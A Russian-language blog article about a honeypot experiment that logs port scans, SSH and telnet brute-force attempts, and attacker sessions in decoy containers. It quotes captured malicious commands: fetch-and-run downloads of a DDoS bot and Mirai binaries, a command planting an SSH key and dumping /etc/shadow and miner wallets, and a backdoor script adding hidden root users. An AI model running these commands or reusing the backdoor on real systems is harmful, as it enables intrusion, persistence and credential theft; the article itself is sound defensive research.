Как поймать тех, кто пытается получить доступ к серверу

Как поймать сетевых взломщиков на серверы-приманки

Какие интерфейсы привлекают взломщиков? Можно ли спрятаться на нестандартном порту? Разбираемся в статье.

Изображение записи

Два года назад я настроил несколько простых SSH-ловушек и записал ходы сетевых злоумышленников. В конце 2023 года я решил повторить эксперимент, сделав из выделенного сервера «ловушку» для плохих ребят — брутфорсеров.

Брутфорс, или атака полным перебором, — это метод атаки с угадыванием паролей, учетных данных для входа в систему, ключей шифрования и прочей информации. Основная цель брутфорса — получить несанкционированный доступ к данным, системам или сетям. Это метод проб и ошибок, цель которого — перебрать все возможные комбинации для получения правильного пароля.

Для подготовки статьи я использовал, установил Ubuntu 22.04. В качестве языка программирования — Python 3.10, а все библиотеки и фреймворки доступны публично. Исходный код моих решений — в конце статьи.

В тексте точные IP-адреса указывать я не будут. Только имена их автономных систем и стран, в которых находятся данные адреса согласно базе GeoLite2.

Помните, что доступ к «внутренностям» чужих систем без разрешения владельца — незаконное действие во многих странах, так что не стоит продумывать план мести горе-взломщикам, что попадутся в ваши сети.

Наблюдение за сканерами портов

В прошлый раз я принял допущение, что протокол SSH на 22 порту является самой интересной целью для злоумышленников. Но действительно ли это так? Чтобы ответить на вопрос, необходимо представить, как действуют злоумышленники. В голову приходят два варианта.

  1. Злоумышленник сперва сканирует открытые порты, а уже потом действует по обстоятельствам;
  2. Некоторое программное обеспечение перебирает IP-адреса и «вслепую» подключается к серверу с использованием заданного протокола в надежде, что интересный порт открыт.

Логичный вопрос: как работают сканеры портов? Для проверки TCP-портов сканер отправляет SYN-запрос. Если в ответ приходит SYN-ACK, то порт открыт. Если RST, то порт закрыт. А если ничего не приходит, то брандмауэр не пускает. С UDP-портами сложнее, так как сканеры отправляют пустые пакеты, которые не несут полезной нагрузки и игнорируются приложениями.

Это значит, что операционная система сервера обработает TCP-подключение или UDP-пакет вне зависимости от способа сканирования. Даже если в системе нет приложения, которое «сидит» и слушает на выбранном порту.

Любая программа при наличии прав суперпользователя может открыть «сырой» сокет (raw socket) и иметь доступ к двоичному представлению всех сетевых пакетов, которые обрабатываются системой.


    import sys
import socket
from scapy.layers.inet import TCP, IP, UDP

# Открываем сырой TCP-сокет. Третий флаг позволяет выбрать TCP, UDP и IP
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)

while True:
    data = s.recv(65536)
    p = IP(data)
    
    # Если пакет не принадлежит нашему адресу,
    # который задается первым аргументом командной строки,
    # то игнорируем этот пакет
    if p.dst != sys.argv[1]:
        continue
    
    # Получаем TCP или UDP-уровень пакета
    tcp: TCP = p.getLayer(TCP)

    # Для TCP-пакетов проверяем наличие флага SYN
    if tcp.flags != 0x2:
        continue

    # Получаем информацию о сканирующем:
    # p.src — IP-адрес

    # Получаем цель сканирования
    # tcp.dport — желаемый порт

    # Записываем куда-нибудь полученную информацию

Этот простой код позволяет записывать попытки сканирования портов. Взаимодействие с сокетами в Python реализуется при помощи socket из набора стандартных библиотек. Для обработки пакетов я использовал scapy.

График сканирования TCP и UDP.
График сканирования TCP и UDP.

Однако данный метод имеет существенный недостаток. Для ведения корректной статистики сервер должен закрыть все порты на выбранном адресе. Я решил эту проблему путем назначения дополнительного IP-адреса и вынесения всех сервисов ОС с 0.0.0.0 на основной IP-адрес сервера. Также реализация на Python может не успеть за скоростью сетевого стека, но, к счастью, у меня такого не случилось.

Частота сканирования портов.
Частота сканирования портов.

Как и ожидалось, интерфейсы на TCP-портах привлекательнее: 97% всех сканирований приходится на них. В среднем в минуту приходит от 10 до 30 SYN-запросов. В некоторых случаях наблюдались всплески до 500 запросов в минуту. Полагаю, это связано с ручным сканированием портов моего сервера.

Вот топ-10 наиболее популярных TCP-портов:

  1. 23 — telnet;
  2. 2222 — один из «альтернативных» неофициальных портов SSH;
  3. 80 — HTTP;
  4. 443 — HTTPS;
  5. 22 — SSH;
  6. 222 — еще один «альтернативный» порт SSH;
  7. 3389 — Windows Remote Desktop Protocol;
  8. 1433 — Microsoft SQL Server;
  9. 8080 — альтернативный порт для HTTP;
  10. 3306 — MySQL.

Сканирование UDP не пользуется особой популярностью, а частота сканирования не превышает пяти пакетов в минуту. Наиболее популярные UDP-порты: 123 (NTP), 5060 (SIP) и 53 (DNS). Эти три протокола имеют уязвимости, позволяющие провести усиление (amplification) DDoS-атак.

Как и ожидалось, самый искомый сервис — SSH. При этом (внезапно!) альтернативный порт 2222 популярнее официального 22 более чем в два раза. Значит, продолжим работать в направлении сбора информации.

Логирование брутфорса

В прошлый раз я патчил OpenSSH-сервер, чтобы логин и пароль записывались в текстовый файл. Тогда это показалось мне достаточным, но сейчас я хочу полный контроль над SSH-сервером. Я хочу знать, откуда ко мне пришли, с каким логином, с каким паролем, были ли попытки зайти по ключу и сколько попыток за подключение делал нехороший человек. Для реализации этой задумки отлично подходит библиотека paramiko, которая реализует протокол SSHv2 на Python.


    import paramiko

class LogServer(paramiko.ServerInterface):

    attempt: int

    def __init__(self, **kwargs):
        self.attempt = 0

    def get_allowed_auths(self, username: str) -> str:
        # Возвращаем разрешенные типы аутентификации. 
        # В данном случае – пароль и ключ
        # В этот момент можно успешное подключение от SSH-клиента
        return "password,publickey"

    def check_auth_none(self, username: str) -> int:
        return paramiko.common.AUTH_FAILED

    def check_auth_password(self, username: str, password: str) -> int:
        self.attempt += 1
        
        # Здесь можно записать номер попытки, логин и пароль

        # Задержку перед возвратом неудачи нужно делать самому
        time.sleep(3)

        return paramiko.common.AUTH_FAILED

    def check_auth_publickey(self, username: str, key: PKey) -> int:
        self.attempt += 1

        # Здесь можно сохранить отпечаток ключа, чтобы сравнивать потом
        # key.get_fingerprint().hex(":", 2)

        return paramiko.common.AUTH_FAILED

Сервер paramiko запускается поверх клиентского сокета, который создается функцией socket.accept.


    # Cоздаем транспорт и меняем ему версию, чтобы легенда была убедительна
transport = paramiko.Transport(client)
transport.local_version = "SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2"

# Ключ можно создать командой ssh-keygen и указать его приватную часть
host_key = paramiko.RSAKey(filename="key")
transport.add_server_key(host_key)

# Запускаем сервер
server = LogServer()
transport.start_server(server=server)
transport.join()

Поддерживая легенду о неприступном сервере, я также создал telnet-сервер, который выводил экран логина от Ubuntu. К счастью, для telnet тоже есть своя библиотека telnetlib3.

По неустановленным причинам придуманное мной приглашение telnet побуждало злоумышленников отправлять только логин, но не пароль. Впрочем, я предположил, что telnet используется для IoT-устройств, которые могут иметь совершенно различные интерфейсы. Поэтому от telnet-сервера интересует только факт подключения и IP-адрес подключающегося. Для сбора статистики я разместил логирующий SSH-сервер на порты 22, 222 и 2222, а telnet-сервер — на 23 порт.

Статистика подключений к SSH- и telnet-серверам.
Статистика подключений к SSH- и telnet-серверам.

Последующие наблюдения подтвердили предположение. Для протокола telnet перебирается другой набор логинов, часть которых специфична для сетевого оборудования и IoT-устройств.

График показывает, как часто происходили попытки подключиться к портам 2222, telnet, 22 и 222.

Легко заметить, что 2222 порт пользуется популярностью: стабильно 10-15 запросов в минуту. Вторым по плотности является telnet, интерес к которому более «рваный». На фоне лидеров всплески подключений к 22 порту выглядят несолидно, а найти на графике линию 222 порта — это и вовсе задача со «звездочкой».

Распределение подключений по географическому признаку.
Распределение подключений по географическому признаку.

Что касается распределения по миру, Китай укрепился в позициях и теперь создает 60% всех подключений — против 50% в прошлом году. Аналогично подросла Индия: с 2.6% до 15%.

В прошлый раз за 10 дней наблюдений был собран список из 1 311 IP-адресов. На этот раз список меньше: всего 480 адресов, несмотря на «допинг» в виде нестандартных портов и telnet. Тем не менее, китайцы обновили свой прошлый рекорд, и теперь топ попыток аутентификации с одного адреса выглядит так:

  1. AS4134 Chinanet — 25 576 попыток (+61%);
  2. AS14061 DIGITALOCEAN-ASN — 3 972 попытки;
  3. AS211252 Delis LLC — 3 429 попыток.

База логинов и паролей, в свою очередь, немного прохудилась: 1 366 логинов против 2 018 ранее и 28 501 пароль против 32 238. Так выглядит топ паролей:

  1. 123456 — 36%4
  2. 123 — 14%;
  3. qwerty123 — 13%;
  4. 12345678 — 5%;
  5. root — 3%;
  6. 111111 — 2%;
  7. admin — 2%;
  8. 1234 — 2%;
  9. 12345 — 2%;
  10. dbadmin — 2%.

Топ изменился несущественно: пароль 123456 все еще самый популярный 😉 Иначе дело обстоит с парами логин-пароль. Два года назад наиболее популярными были пары, где логин и пароль совпадают. А сейчас — нет.

  1. root:qwerty123;
  2. boris:123;
  3. anna:123456;
  4. vladimir:123456;
  5. dbadmin:dbadmin;
  6. root:123456;
  7. root:root;
  8. root:Aa123456;
  9. root:P@ssw0rd;
  10. root:12345.

Особенный интерес вызывают пары с мест 2-4, ведь это не выглядит как распространенная комбинация.

В этот раз самый длинный пароль, который пришел из разных источников, состоит всего из 36 символов. Это в два раза меньше прошлого рекорда: A@0599343813A@0599343813A@0599343813.

Если снять ограничение, что пароль должен прийти с разных адресов, то рекорд будет в 100 символов. Но, кажется, это просто слепая ярость одного из «хакеров». Об этом я расскажу далее.

Распределение попыток подключения по клиентам.
Распределение попыток подключения по клиентам.

Теперь распределение по клиентам. 86% от всех подключений создает клиент SSH-2.0-Go. Похоже, авторы не беспокоятся об имени клиента и не подменяют его. 85% клиентов останавливаются после сотни неудачных попыток, и 98% клиентов в рамках одного подключения делают одну попытку. Рекорд — 10 попыток ввести пароль за одно подключение.

Желающих попасть на мой сервер достаточно. Значит, пора предоставить им эту возможность.

Фейковые виртуальные серверы

В прошлый раз я принимал всех по любому паролю в рамках одной виртуальной машины, что привело к сражению нескольких программ и отразилось на качестве и количестве собранной информации. В этот раз я решил устроить аттракцион неслыханной щедрости: каждому зашедшему — по «виртуалке»!

Я хотел создать контролируемое окружение при помощи контейнеров и с использованием виртуальных машин. Для начала сделал выбор в пользу контейнеризации. Создаем легковесный образ Ubuntu 22.04 с wget, curl и sshd, со временем жизни 60 секунд:


    FROM ubuntu:22.04
RUN apt update && apt install -y ssh wget curl && mkdir /run/sshd && echo "root:root" | chpasswd
COPY sshd_config /etc/ssh/sshd_config
ENTRYPOINT ["/bin/bash", "-c", "/usr/sbin/sshd -D & sleep 60"]

Жизненный цикл контейнера выглядит так.

  1. Злоумышленник подключается к SSH-серверу (paramiko) с каким-то паролем.
  2. Paramiko запускает контейнер и узнает его IP-адрес в локальной сети.
  3. Paramiko создает клиентское подключение к контейнеру и связывает потоки ввода-вывода между принятым подключением от злоумышленника и созданным подключением до контейнера. Таким образом paramiko-сервер становится SSH-прокси, который имеет возможность сохранять проходящие мимо байты.
  4. Контейнер выключается через 60 секунд вне зависимости от желания злоумышленника.

«Контейнерный» подход имеет недостатки, которые заметны человеку при подключении:

  • в контейнере не работает systemd4;
  • процесс с pid=1 не systemd или init, а подозрительный /bin/bash -c /usr/sbin/sshd -D & sleep 60;
  • при переподключении заметно, что имя хоста изменилось.

Были опасения за безопасность, ведь злоумышленник получает root-доступ, а у контейнера нет такой же изоляции, как у виртуальной машины. При определенных условиях это может навредить хосту. Беглый поиск в интернете показал, что побег из контейнера возможен только при запуске контейнера в привилегированном режиме — либо с опцией SYS_ADMIN, либо при наличии управляющего сокета Docker внутри контейнера. Ничего такого я контейнеру не позволю — наоборот, ограничу в ресурсах до 2 ядер и 1 ГБ оперативной памяти.

Прежде чем перейдем к изучению «улова», я расскажу немного специфики SSH. При создании SSH-подключения клиент может запросить интерактивную оболочку (shell) или отправить одну команду на исполнение. Сервер paramiko может это различать.


    # SSH запросит у сервера выполнение одной команды
ssh root@127.0.0.1 ‘wget http://example.com/totally-not-a-virus.sh’
# Запрос интерактивной оболочки
ssh root@127.0.0.2

Потенциально это различие можно использовать для отделения точно автоматизированных атак от подозрительных, возможно, ручных действий.

За время наблюдения к моему серверу подключились 8 685 раз. Это принесло 21 уникальную команду и 56 интерактивных подключений. Самая популярная команда, выполненная 6,5 тысяч раз, поражает своей безобидностью:


    uname -s -v -n -r -m

Это команду выполняет тот самый настойчивый ботнет с клиентом SSH-2.0-Go. Причем успех этой команды ни на что не влияет. Через несколько минут этот же клиент с того же IP-адреса придет с другой парой логин-пароль выполнять аналогичную команду.

Следующий по настойчивости с результатом в 800 выполнений — скрипт dred. Отчет VirusTotal.


    uname -a;lspci | grep -i --color 'vga\|3d\|2d';curl -s -L http://[ДАННЫЕ УДАЛЕНЫ]/dred -o /tmp/dred;perl /tmp/dred
Вас тоже беспокоит этот «выброс»?
Вас тоже беспокоит этот «выброс»?

dred — это IRC-бот, написанный на perl для осуществления DDoS-атак. Причем в начале файла есть описание и инструкция. Удобно. Отдельно хочется отметить, что фраза Works on every system with PERL installed оказалась неправдой.


    root@e838fe773823:/tmp# perl dred
Can't locate MIME/Base64.pm in @INC (you may need to install the MIME::Base64 module)

Аналогичный скрипт, только с другой версией и копирайтом, можно найти на просторах интернета.

Следующая по убыванию настойчивости команда для самоутверждения:


    # команда выводит ok. Выполнена 273 раза
echo -e "\x6F\x6B"
# команда на скачивание ok.sh. Выполнена 132 раза
wget [ДАННЫЕ УДАЛЕНЫ]/ok.sh ; chmod 777 ok.sh ; ./ok.sh ; rm -rf ok.sh ; curl -O [ДАННЫЕ УДАЛЕНЫ]/ok.sh ; chmod 777 ok.sh ; ./ok.sh ; rm -rf ok.sh ; history -c
# содержимое ok.sh
echo “nite_max was here”
uname -a

В самом конце упорности находятся команды, которые можно отнести к страшному ботнету Mirai. Команды делятся на два типа: xml-подобный вывод для сбора информации и попытки заразить жертву.

Подобный сбор информации:


    mkdir -p /home/osmc/.ssh/ ; echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6apTpBLxylca9D2EVjfr8xa6OadS2c0oR4RYLkJiIp2XoWkJKqxVodz0s2gfQrMb9qr3oJQVoT4M1WHd829D5Wu2kJY4RMFSo+Rb2dszg0PQJ5Ug1pEW1DedYR379sjoIiF/qbaDzq3FtkUx9+5E/BiqdMGyncml3yinN6HuNH+Fnhv6TtS45Re6gI1rA21qFguBF5U3yPFKeF5ElH997x/0rf3Qr01v38F2994IEXZ3fiaZTkw7k/ul9CnuCuIlCkPGeO7xkpR/70sU077scxbArlCe/ch5BSBK9u8nOCBUBV7AlgZ9RojfTp/wbqqg20zfB7pwEaaMI25zP5QsF >> /home/osmc/.ssh//authorized_keys ; echo '<cmd7uname>'; uname -a ; echo '</cmd7uname><cmd7uptime>'; uptime ; echo '</cmd7uptime><cmd7w>'; w ; echo '</cmd7w><cmd7who>'; who ; echo '</cmd7who><cmd7last>'; last ; echo '</cmd7last><cmd7lastlog>'; lastlog ; echo '</cmd7lastlog><cmd7passwd>'; cat /etc/passwd ; echo '</cmd7passwd><cmd7shadow>'; sudo -n cat /etc/shadow ; echo '</cmd7shadow><cmd7authkey>'; cat /home/osmc/.ssh//authorized_keys ; echo '</cmd7authkey><cmd7lshome>'; ls -la /home ; echo '</cmd7lshome><cmd7psfaux>'; ps -faux ; echo '</cmd7psfaux><cmd7netstat>'; netstat -npta ; echo '</cmd7netstat><cmd7arpan>'; /usr/sbin/arp -an ; echo '</cmd7arpan><cmd7ifconfig>' ; /usr/sbin/ifconfig ; echo '</cmd7ifconfig><cmd7localconf>'; cat /home/ethos/local.conf ; echo '</cmd7localconf><cmd7remoteconf>' ; cat /home/ethos/remote.conf ; echo '</cmd7remoteconf><cmd7rclocal>' ; cat /etc/rc.local ; echo '</cmd7rclocal><cmd7claymorestub>'; cat /home/ethos/claymore.stub.conf ; cat /hive-config/rig.conf; cat /hive-config/wallet.conf ; cat /hive-config/vnc-password.txt ; echo '</cmd7claymorestub><cmd7claymorezstub>' ; cat /home/ethos/claymore-zcash.stub.conf ; echo '</cmd7claymorezstub><cmd7sgminerconf>' ; cat /var/run/ethos/sgminer.conf ; echo '</cmd7sgminerconf><cmd7iptables>' ; sudo -n iptables -S  && sudo -n iptables -t nat -S ; echo '</cmd7iptables><cmdcrontab>'; crontab -l; echo '</cmdcrontab>' ; exit

Отличительной особенностью этого ботнета можно считать его немногопарольность и примечательный клиент. Информацию собирает клиент SSH-2.0-OpenSSH_8.4p1 Raspbian-5+b1, а для попыток залогиниться он использует всего четыре пары логин-пароль:

  • rokos:rokos. По умолчанию для ROKOS Core — биткоин-нода на «малинке»;
  • osmc:osmc. Пароль по умолчанию для медиацентра OSMC;
  • root:libreelec. Пароль для первого входа для медиацентра libreelec;
  • root:admin.

Получается, что «малинка» ищет себе подобных и оставляет свой ключ, чтобы зайти позже. Другой заход Mirai — это попытки установить исполняемый файл.


    # Версия 1
lscpu | grep "CPU(s):                " && echo -e "fKSRQZMyM4JX\nfKSRQZMyM4JX" | passwd && cd /tmp; wget http://[ДАННЫЕ УДАЛЕНЫ]/pedalcheta/cutie.x86_64; curl -s -O http://[ДАННЫЕ УДАЛЕНЫ]/pedalcheta/cutie.x86_64; chmod 777 cutie.x86_64; ./cutie.x86_64 x86h; rm -rf cutie.*

# Версия 2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[ДАННЫЕ УДАЛЕНЫ]/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp [ДАННЫЕ УДАЛЕНЫ] -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g [ДАННЫЕ УДАЛЕНЫ]; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 [ДАННЫЕ УДАЛЕНЫ] ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *

Версия 1 имеет фиксированное имя cutie.x86_64, а вот версия 2 встретилась мне с разными именами как скриптов, так и исполняемых файлов. Особенно интересно, что версия 2 скачивает множество исполняемых файлов для разных архитектур.


    c0r0n4x.sh:  Bourne-Again shell script, ASCII text executable
c0r0n4x.arm:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, no section header
c0r0n4x.arm5: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, no section header
c0r0n4x.arm6: ELF 32-bit LSB executable, ARM, EABI4 version 1 (GNU/Linux), statically linked, no section header
c0r0n4x.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (GNU/Linux), statically linked, no section header
c0r0n4x.m68k: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
c0r0n4x.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
c0r0n4x.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
c0r0n4x.ppc:  ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (GNU/Linux), statically linked, no section header
c0r0n4x.sh4:  ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
c0r0n4x.spc:  ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
c0r0n4x.x86:  ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header

Отчет VirusTotal: раздватри.

В заключение остались единичные безобидные команды.


    uname -s -m
cat /proc/uptime
uname -a || echo -
cat /etc/passwd
/ip cloud print
echo $(echo -n XSUCCESX && uname -a)

Теперь прикоснемся к прекрасному: к интерактивным сессиям.

Ручная работа брутфорсеров

К сожалению, большая часть интерактивных сессий была автоматизирована. 40 запросов — это открытие сессии и отправка признака конца файла. Несколько из этих интерактивных сессий были открыты связкой root:honeypot и honeyhoney:pot. Кажется, на той стороне разгадали мою задумку. Еще 9 — отправка файла через SCP следующего содержания:


    enable
system
shell
sh
linuxshell
cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai
cd /var/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai

Затем еще четыре попытки отправки еще одного файла, который должен оставить бэкдор.

Скрипт:


    export HISTFILE=/dev/null
export HISTSAVE=/dev/null
unset HISTFILE
unset HISTSAVE

if ! type export >/dev/null 2>&1; then
	echo "ERROR: BADtype: export"
	exit
fi
if [[ -z $(ps -elf |wc -l) ]]; then
	echo "ERROR: BADps"
fi
if [[ "$(ps -elf |wc -l)" -le 4 ]]; then
	echo "ERROR: BADps"
	exit
fi

# bad shells
### not defined # echo "ERROR: BADshell"

if [[ ubuntu != "root" ]]; then
	if ! exec echo ubuntu |sudo -S su -c 'id -u'; then
		echo "ERROR: failed to get root"
		exit
	fi
fi
exec echo ubuntu |sudo -S su -c '
# super user
if [[ -z $(grep "^systemd:" /etc/passwd 2>/dev/null) ]]; then
	if ! echo "systemd:x:0:0::/root:/bin/bash" >> /etc/passwd; then
		echo "ERROR: failed to add user"
		exit
	else
			touch -r /bin/ls /etc/passwd
	fi
fi
if [[ -z $(grep "^systemd:" /etc/shadow 2>/dev/null) ]]; then
	if ! echo systemd:\$6\$97bAjPBL\$LWTjOvlIt645bflwh0d2d4j7GaxunVgoHbhzIvnyNkdjM3zl0H8sUZ7PVDRKCJBB.n2I1HjeH4zV4wFA./yyI0:18359:::::: >> /etc/shadow; then
		echo "ERROR: failed to add user"
		exit
	else
		touch -r /bin/ls /etc/shadow
	fi
fi
# normal user
if [[ -z $(grep "^systemx:" /etc/passwd 2>/dev/null) ]]; then
	if ! echo "systemx:x:9090:9090::/home/systemx:/bin/bash" >> /etc/passwd; then
		echo "ERROR: failed to add user"
		exit
	else
		touch -r /bin/ls /etc/passwd
	fi
fi
if [[ -z $(grep "^systemx:" /etc/shadow 2>/dev/null) ]]; then
	if ! echo systemx:\$6\$97bAjPBL\$LWTjOvlIt645bflwh0d2d4j7GaxunVgoHbhzIvnyNkdjM3zl0H8sUZ7PVDRKCJBB.n2I1HjeH4zV4wFA./yyI0:18359::::::  >> /etc/shadow; then
		echo "ERROR: failed to add user"
		exit
	else
		touch -r /bin/ls /etc/shadow
	fi
fi
if [[ -z $(grep ^systemx /etc/sudoers 2>/dev/null) ]]; then
	if ! echo "systemx	ALL=(ALL) ALL" >> /etc/sudoers; then
		echo "ERROR: failed to add user"
		exit
	else
		touch -r /bin/ls /etc/sudoers
	fi
fi
if [[ -z $(grep "^systemx:" /etc/group 2>/dev/null) ]]; then
	if ! echo "systemx:x:9090:" >> /etc/group; then
		echo "ERROR: failed to add user"
		exit
	else
		touch -r /bin/ls /etc/group
	fi
fi
echo [ДАННЫЕ УДАЛЕНЫ] > /etc/selfip

И только две интерактивные сессии были действительно интерактивными:

  • SSH-2.0-PuTTY_Release_0.78 — AS6327 Shaw Communications Inc. (Канада);
  • SSH-2.0-PuTTY_Release_0.78 — AS43289 Trabia SRL (Молдова).

В обоих случаях злоумышленник пытался вручную поставить майнер xmrig. Почему я решил, что это ручная работа? Злоумышленник использовал интерактивные текстовые редакторы vim и nano, которых не было в контейнере, и он решил их поставить. Причем установка текстовых редакторов сопровождалась перебором пакетных менеджеров.

Один человек зашел, чтобы оскорбить меня. AS4766 Korea Telecom, Республика Корея, клиент SSH-2.0-HELLOWORLD. Он выполнил следующую команду.


    root@fb622ba2b5ab:~# echo -e '\x67\x61\x79\x66\x67\x74'
gayfgt

Вот шалунишка.

Яркие попытки перебора паролей

Внезапно оказалось, что злоумышленникам почему-то не нравится находить подобного рода ловушки. По крайней мере, пользователь из AS38496 PT Cyber Network Indonesia (Индонезия), похоже, пришел в ярость от моего эксперимента.

Сперва он попытался создать около ста контейнеров за секунду. Видимо, ожидал, что это исчерпает ресурсы моего сервера, но чуда не случилось. Во-первых, потому что контейнеры сами по себе легковесные, а мой сервер имеет целых 100 ГБ оперативной памяти. А во-вторых, злоумышленник запустил «пустые» контейнеры, не запустив в них даже форк-бомбы.

Далее он нашел «соседние» IP-адреса из той же подсети и увидел там SSH-порты, которые не пускают, и начал усердно перебирать к ним пароль и вероятные уязвимости.

Расчет, видимо, был в том, что это «управляющие» порты, но, к счастью, это оказались ловушки из начала статьи. От разгневанного хакера я собрал интересный набор паролей:

  • 6PugPK5iEsR30Mj5rrkKdZucsbR7yy5GqpxbHX6zbdiNnUvqMQunInkvpF9uw1RLJzjfgX3qTqraLEwlq wYYGR6dY3NlKdJqBpxA — самый длинный пароль, 100 символов;
  • @^@^@^@^@^@^@^@^@^@^@^@^@^@^@btc@^@^@^@^@^@^@^@^@^@^@^ @^@^@^@^@^localhost@^@@ — второй по длине пароль, выглядит интересно;
  • Accepted host %s ip %s client_user %s server_user %s — не имею ни малейшего понятия почему это стало паролем;
  • Let me, teach you, the ancient method of Fu Thai ! — может, он хотел меня научить чему-то, но не оставил никаких контактов, так что его истинные намерения не ясны;
  • www.txwscx.comsritgyxf2sxy19831122zx — есть домен китайского сайта, но набор символов после домена явно случайный.

В моменте гнева злоумышленник создал хорошую статистику для Индонезии и своей автономной системы в виде пары тысяч паролей с одного адреса. Однако в долгосрочной перспективе его действия затерялись на фоне методичных стараний из Китая, Индии и Нидерландов.

Другие сервисы

Ради развлечения я поставил также SMTP-сервер и веб-сервер, чтобы узнать, есть ли интерес к ним. И… нет.

За пять дней к SMTP-серверу обратились три раза с каким-то расширением SMTP, которое моя заглушка была не в состоянии разобрать.

К веб-интерфейсу подключались тоже нечасто — всего 50 раз за 4 дня. Большинство подключений сделал один IP-адрес из AS16509, США. Единственное, почему я вынес это в статью — необычные User-Agent, с которыми пришел сканер:

  • Mozilla/5.0 (Linux; Android 4.0.4; BNTV400 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36;
  • Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es65;
  • SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0;
  • Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US];
  • Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3;
  • Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 SonyEricssonP100/01; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 Safari/525;
  • Opera/9.25 (Windows NT 6.0; U; en);
  • SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1.

Конечно, User-Agent — это всего лишь строчка, которая может быть любой. Но если предположить, что это не фальсификация, то у кого-то очень интересный проект.

Заключение

Мы предложили интернету беззащитный контейнер с SSH-сервером и узнали много очевидного, но интересного.

  1. Перенос SSH на необычный порт поможет спрятаться от нежелательного внимания, но только не на порт 2222 — это приведет к обратному результату.
  2. Сегодня ботнеты можно разделить на две категории: бессмысленные и аккуратные. Первые заполнят логи безуспешными попытками подобрать пароль, а в случае удачи ничего не сделают. Вторые же придут с паролями по умолчанию и в случае успеха оставят вредонос.
  3. За два года практически полностью «вымерли» злоумышленники, которые лишают владельца доступа к своему устройству. Фокус изменился с деструктивных операций на скрытность.
  4. Непопулярность других портов и протоколов не гарантирует безопасности от злоумышленников.

Исходный код моих поделок можно посмотреть на GitHub. При остром желании запустить аналогичную ловушку на своем сервере можно обратиться к cowrie.